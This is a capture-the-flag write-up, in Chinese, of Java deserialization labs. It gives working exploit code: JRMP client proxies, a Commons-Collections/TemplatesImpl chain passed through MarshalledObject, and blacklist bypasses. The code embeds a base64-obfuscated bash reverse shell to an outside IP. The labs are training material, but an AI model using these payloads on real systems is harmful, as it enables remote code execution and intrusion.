Java DesearializeLabs
Java DesearializeLabs
靶场地址:https://github.com/waderwu/javaDeserializeLabs
lab3-shiro-JRMP
环境里面提供的jar包,/basic路由有一个反序列化点
@RequestMapping({"/basic"})
public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);
MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream);
String name = myObjectInputStream.readUTF();
int year = myObjectInputStream.readInt();
if (name.equals("SJTU") && year == 1896)
myObjectInputStream.readObject();
return "index";
}
MyObjectInputStream 很明显不能反序列化数组
public class MyObjectInputStream extends ObjectInputStream {
private ClassLoader classLoader;
public MyObjectInputStream(InputStream inputStream) throws Exception {
super(inputStream);
URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs();
this.classLoader = new URLClassLoader(urls);
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class<?> clazz = this.classLoader.loadClass(desc.getName());
return clazz;
}
}
pom.xml中的依赖中有CC3.2.1。想起buggyloaader二次反序列化RCE,除此之外还有没有别的打法?
看到师傅们的一种打法是:出网情况下的靶机开启客户端jrmp,让其访问攻击机的jrmp服务器端并执行恶意的反序列化。
题目使用jdk8u222。 jdk8u121之后java增加了JEP 290的防御机制,其又小于8u313。所以说使用ysoserial的rmi利用链就可以直接打。
但是我们需要按题目的序列化方式来构造payload,我们要自己写一个jrmp客户端
package Double;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class JrmpClient {
public static void main(String[] args) throws Exception {
Registry registry = (Registry) getObject("101.42.224.57",8180);
byte[] serializable = serializable(registry);
String string = bytesTohexString(serializable);
System.out.println(string);
}
public static Object getObject(String host,int port){
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JrmpClient.class.getClassLoader(), new Class[] {Registry.class}, obj);
return proxy;
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null)
return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
public static byte[] serializable(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("SJTU");
objectOutputStream.writeInt(1896);
objectOutputStream.writeObject(object);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
}
发送反序列化jrmp客户端
然后使用CC6来构造payload二次反序列化给JrmpClient
开启反弹shell监听并拿取flag
lab5-weblogic-readResolve
反序列化路由依旧是/basic
,变化在MyObjectInputStream处,加上了黑名单处理
public class MyObjectInputStream extends ObjectInputStream {
private static ArrayList<String> blackList = new ArrayList<>();
static {
blackList.add("org.apache.commons.collections.functors");
blackList.add("java.rmi.server");
}
public MyObjectInputStream(InputStream inputStream) throws Exception {
super(inputStream);
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
for (String s : blackList) {
if (desc.getName().contains(s))
throw new ClassNotFoundException("go out!");
}
return super.resolveClass(desc);
}
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
return super.resolveProxyClass(interfaces);
}
}
添加了一个类MarshalledObject,如果一个序列化的重写readResolve方法,当其反序列化的时候会调用readResolve。
public class MarshalledObject implements Serializable {
private byte[] bytes = null;
public Object readResolve() throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(this.bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object obj = objectInputStream.readObject();
objectInputStream.close();
return obj;
}
}
既然CC都被禁用了,那就直接利用MarshalledObject触发一个二次反序列化。我这随便写了一个CC链
package lab4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.yxxx.javasec.deserialize.MarshalledObject;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Test {
private static byte[] bytes;
public static void main(String[] args) throws Exception {
TemplatesImpl tempalteslmpl = (TemplatesImpl) getTempalteslmpl();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { tempalteslmpl });
ConstantTransformer constantTransformer = new ConstantTransformer(1);
HashMap innerMap = new HashMap();
DefaultedMap outerMap = (DefaultedMap) DefaultedMap.decorate(innerMap,constantTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);
HashMap expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(outerMap,"value",instantiateTransformer);
serialize(expMap);
MarshalledObject marshalledObject = new MarshalledObject();
setFieldValue(marshalledObject,"bytes",bytes);
System.out.println(bytesTohexString(lab_serialize(marshalledObject)));
//unserialize();
}
public static Object getTempalteslmpl() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] evilBytes = getEvilBytes();
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
return templates;
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception {
Class clazz = object.getClass();
Field declaredField = clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,field_value);
}
public static byte[] getEvilBytes() throws Exception{
//byte[] bytes = ClassPool.getDefault().get("memshell").toBytecode();
ClassPool classPool = new ClassPool(true);
CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
helloAbstractTranslet.setSuperclass(ctClass);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDIuMjI0LjU3LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}\");");
helloAbstractTranslet.addConstructor(ctConstructor);
byte[] bytes = helloAbstractTranslet.toBytecode();
helloAbstractTranslet.detach();
return bytes;
}
public static byte[] getCalcBytes() throws Exception {
ClassPool classPool = new ClassPool(true);
CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
helloAbstractTranslet.setSuperclass(ctClass);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
helloAbstractTranslet.addConstructor(ctConstructor);
byte[] bytes = helloAbstractTranslet.toBytecode();
helloAbstractTranslet.detach();
return bytes;
}
public static void serialize(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
bytes=byteArrayOutputStream.toByteArray();
}
public static byte[] lab_serialize(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("SJTU");
objectOutputStream.writeInt(1896);
objectOutputStream.writeObject(object);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
public static void unserialize() throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null)
return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}
开启监听拿到flag
lab6-weblogic-resolveProxyClass
其他环境一样,没有MarshalledObject,MyObjectInputStream有些变化
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.ArrayList;
public class MyObjectInputStream extends ObjectInputStream {
private static ArrayList<String> classBlackList = new ArrayList<>();
private static ArrayList<String> proxyBlackList = new ArrayList<>();
static {
classBlackList.add("org.apache.commons.collections.functors");
proxyBlackList.add("java.rmi.registry");
}
public MyObjectInputStream(InputStream inputStream) throws Exception {
super(inputStream);
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
for (String s : classBlackList) {
if (desc.getName().contains(s))
throw new ClassNotFoundException("go out!");
}
return super.resolveClass(desc);
}
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
for (String s : proxyBlackList) {
for (String anInterface : interfaces) {
if (anInterface.contains(s))
throw new ClassNotFoundException("go out!");
}
}
return super.resolveProxyClass(interfaces);
}
}
对MyObjectInputStream的继承并重写resolveProxyClass和CVE-2018-2628的weblogic补丁几乎说是一摸一样,y4er的weblogic
禁用了java.rmi.registry
接口的动态代理,CVE-2017-3248的补丁绕过:
俩个思路:
-
resolveProxyClass反序列化代理类才会调用,直接反序列化UnicastRef对象,调用sum.rmi.server.UnicastRef#readExternal。毕竟JRMPClient的本质UnicastRef#readExternal反序列化呗
-
使用java.rmi.registry.Registry之外的类java.rmi.activation.Activator。(其实这里对接口没有要求,不一定是rmi接口,随便找一个接口都行,比如java.util.Map)
我这里使用java.util.Map接口打的也可以成功
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.*;
import java.lang.reflect.Proxy;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Map;
import java.util.Random;
public class Test {
private static byte[] bytes;
public static void main(String[] args) throws Exception {
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("101.42.224.57", 8180);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
java.util.Map proxy = (Map) Proxy.newProxyInstance(Test.class.getClassLoader(), new Class[] {Map.class}, obj);
System.out.println(bytesTohexString(lab_serialize(proxy)));
}
public static byte[] lab_serialize(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("SJTU");
objectOutputStream.writeInt(1896);
objectOutputStream.writeObject(object);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null)
return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}
JRMPListener
成功反弹shell